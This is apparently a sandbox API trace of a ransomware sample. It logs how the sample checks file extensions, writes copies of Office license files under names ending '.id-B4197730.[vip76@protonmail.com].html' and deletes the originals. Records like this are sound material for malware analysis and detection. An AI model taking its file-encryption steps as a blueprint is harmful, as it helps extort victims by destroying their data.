	[0192.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0192.243] GetLastError () returned 0x0
	[0192.243] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x4dd7, lpOverlapped=0x0) returned 1
	[0192.248] WriteFile (in: hFile=0x5ec, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0192.250] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.250] WriteFile (in: hFile=0x5ec, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0192.250] SetEndOfFile (hFile=0x5ec) returned 1
	[0192.251] CloseHandle (hObject=0x5ec) returned 1
	[0192.254] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.254] SetEndOfFile (hFile=0x5e8) returned 1
	[0192.266] CloseHandle (hObject=0x5e8) returned 1
	[0192.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0192.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0192.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0192.268] lstrlenW (lpString=".doc") returned 4
	[0192.268] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.268] lstrlenW (lpString=".docx") returned 5
	[0192.268] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.268] lstrlenW (lpString=".pdf") returned 4
	[0192.268] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.268] lstrlenW (lpString=".xls") returned 4
	[0192.268] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.268] lstrlenW (lpString=".xlsx") returned 5
	[0192.268] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.268] lstrlenW (lpString=".ppt") returned 4
	[0192.268] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0192.268] lstrlenW (lpString=".zip") returned 4
	[0192.268] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.268] lstrlenW (lpString=".rar") returned 4
	[0192.268] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.268] lstrlenW (lpString=".bz2") returned 4
	[0192.268] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.268] lstrlenW (lpString=".7z") returned 3
	[0192.268] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0192.269] lstrlenW (lpString=".dbf") returned 4
	[0192.269] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0192.269] lstrlenW (lpString=".1cd") returned 4
	[0192.269] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0192.269] lstrlenW (lpString=".jpg") returned 4
	[0192.269] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0192.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0192.270] lstrlenW (lpString=".doc") returned 4
	[0192.270] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.270] lstrlenW (lpString=".docx") returned 5
	[0192.270] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.270] lstrlenW (lpString=".pdf") returned 4
	[0192.270] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.270] lstrlenW (lpString=".xls") returned 4
	[0192.270] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.270] lstrlenW (lpString=".xlsx") returned 5
	[0192.270] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.270] lstrlenW (lpString=".ppt") returned 4
	[0192.270] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0192.270] lstrlenW (lpString=".zip") returned 4
	[0192.270] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.270] lstrlenW (lpString=".rar") returned 4
	[0192.270] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.270] lstrlenW (lpString=".bz2") returned 4
	[0192.270] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.270] lstrlenW (lpString=".7z") returned 3
	[0192.270] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0192.270] lstrlenW (lpString=".dbf") returned 4
	[0192.270] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0192.270] lstrlenW (lpString=".1cd") returned 4
	[0192.270] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0192.271] lstrlenW (lpString=".jpg") returned 4
	[0192.271] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.271] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.271] lstrlenW (lpString="ExcelR_Retail-ppd.xrm-ms") returned 24
	[0192.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0192.271] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=20844) returned 1
	[0192.272] CloseHandle (hObject=0x5e8) returned 1
	[0192.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 0x220
	[0192.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0192.272] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.272] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0192.273] GetLastError () returned 0x0
	[0192.273] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x516c, lpOverlapped=0x0) returned 1
	[0192.276] WriteFile (in: hFile=0x580, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x5170, lpOverlapped=0x0) returned 1
	[0192.277] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.278] WriteFile (in: hFile=0x580, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x104, lpOverlapped=0x0) returned 1
	[0192.278] SetEndOfFile (hFile=0x580) returned 1
	[0192.278] CloseHandle (hObject=0x580) returned 1
	[0192.278] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.278] SetEndOfFile (hFile=0x5e8) returned 1
	[0192.282] CloseHandle (hObject=0x5e8) returned 1
	[0192.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 1
	[0192.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0192.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0192.283] lstrlenW (lpString=".doc") returned 4
	[0192.283] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.283] lstrlenW (lpString=".docx") returned 5
	[0192.284] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.284] lstrlenW (lpString=".pdf") returned 4
	[0192.284] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.284] lstrlenW (lpString=".xls") returned 4
	[0192.284] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.284] lstrlenW (lpString=".xlsx") returned 5
	[0192.284] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.284] lstrlenW (lpString=".ppt") returned 4
	[0192.284] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0192.284] lstrlenW (lpString=".zip") returned 4
	[0192.284] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.284] lstrlenW (lpString=".rar") returned 4
	[0192.284] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.284] lstrlenW (lpString=".bz2") returned 4
	[0192.284] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.284] lstrlenW (lpString=".7z") returned 3
	[0192.284] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0192.284] lstrlenW (lpString=".dbf") returned 4
	[0192.284] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0192.284] lstrlenW (lpString=".1cd") returned 4
	[0192.284] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0192.284] lstrlenW (lpString=".jpg") returned 4
	[0192.284] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0192.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0192.285] lstrlenW (lpString=".doc") returned 4
	[0192.285] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.285] lstrlenW (lpString=".docx") returned 5
	[0192.285] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.285] lstrlenW (lpString=".pdf") returned 4
	[0192.285] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.285] lstrlenW (lpString=".xls") returned 4
	[0192.285] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.285] lstrlenW (lpString=".xlsx") returned 5
	[0192.285] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.285] lstrlenW (lpString=".ppt") returned 4
	[0192.285] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0192.285] lstrlenW (lpString=".zip") returned 4
	[0192.285] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.285] lstrlenW (lpString=".rar") returned 4
	[0192.285] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.285] lstrlenW (lpString=".bz2") returned 4
	[0192.285] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.285] lstrlenW (lpString=".7z") returned 3
	[0192.285] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0192.285] lstrlenW (lpString=".dbf") returned 4
	[0192.285] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0192.285] lstrlenW (lpString=".1cd") returned 4
	[0192.285] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0192.285] lstrlenW (lpString=".jpg") returned 4
	[0192.286] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.286] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.286] lstrlenW (lpString="ExcelR_Retail-ul-oob.xrm-ms") returned 27
	[0192.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0192.287] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11574) returned 1
	[0192.287] CloseHandle (hObject=0x5e8) returned 1
	[0192.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 0x220
	[0192.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0192.288] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.288] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0192.290] GetLastError () returned 0x0
	[0192.290] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d36, lpOverlapped=0x0) returned 1
	[0192.292] WriteFile (in: hFile=0x580, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0192.293] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.294] WriteFile (in: hFile=0x580, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10a, lpOverlapped=0x0) returned 1
	[0192.294] SetEndOfFile (hFile=0x580) returned 1
	[0192.294] CloseHandle (hObject=0x580) returned 1
	[0192.294] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.294] SetEndOfFile (hFile=0x5e8) returned 1
	[0192.300] CloseHandle (hObject=0x5e8) returned 1
	[0192.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 1
	[0192.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0192.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0192.302] lstrlenW (lpString=".doc") returned 4
	[0192.302] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.302] lstrlenW (lpString=".docx") returned 5
	[0192.302] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.302] lstrlenW (lpString=".pdf") returned 4
	[0192.302] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.302] lstrlenW (lpString=".xls") returned 4
	[0192.302] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.302] lstrlenW (lpString=".xlsx") returned 5
	[0192.302] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.302] lstrlenW (lpString=".ppt") returned 4
	[0192.302] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0192.302] lstrlenW (lpString=".zip") returned 4
	[0192.302] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.302] lstrlenW (lpString=".rar") returned 4
	[0192.302] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.302] lstrlenW (lpString=".bz2") returned 4
	[0192.303] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.303] lstrlenW (lpString=".7z") returned 3
	[0192.303] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0192.303] lstrlenW (lpString=".dbf") returned 4
	[0192.303] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0192.303] lstrlenW (lpString=".1cd") returned 4
	[0192.303] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0192.303] lstrlenW (lpString=".jpg") returned 4
	[0192.303] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0192.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0192.303] lstrlenW (lpString=".doc") returned 4
	[0192.303] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.303] lstrlenW (lpString=".docx") returned 5
	[0192.303] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.303] lstrlenW (lpString=".pdf") returned 4
	[0192.303] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.303] lstrlenW (lpString=".xls") returned 4
	[0192.303] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.303] lstrlenW (lpString=".xlsx") returned 5
	[0192.303] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.303] lstrlenW (lpString=".ppt") returned 4
	[0192.303] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0192.304] lstrlenW (lpString=".zip") returned 4
	[0192.304] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.304] lstrlenW (lpString=".rar") returned 4
	[0192.304] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.304] lstrlenW (lpString=".bz2") returned 4
	[0192.304] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.304] lstrlenW (lpString=".7z") returned 3
	[0192.304] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0192.304] lstrlenW (lpString=".dbf") returned 4
	[0192.304] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0192.304] lstrlenW (lpString=".1cd") returned 4
	[0192.304] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0192.304] lstrlenW (lpString=".jpg") returned 4
	[0192.304] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.304] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.304] lstrlenW (lpString="ExcelR_Retail-ul-phn.xrm-ms") returned 27
	[0192.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0192.668] GetFileSizeEx (in: hFile=0x5ec, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=19919) returned 1
	[0192.684] CloseHandle (hObject=0x5ec) returned 1
	[0192.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 0x220
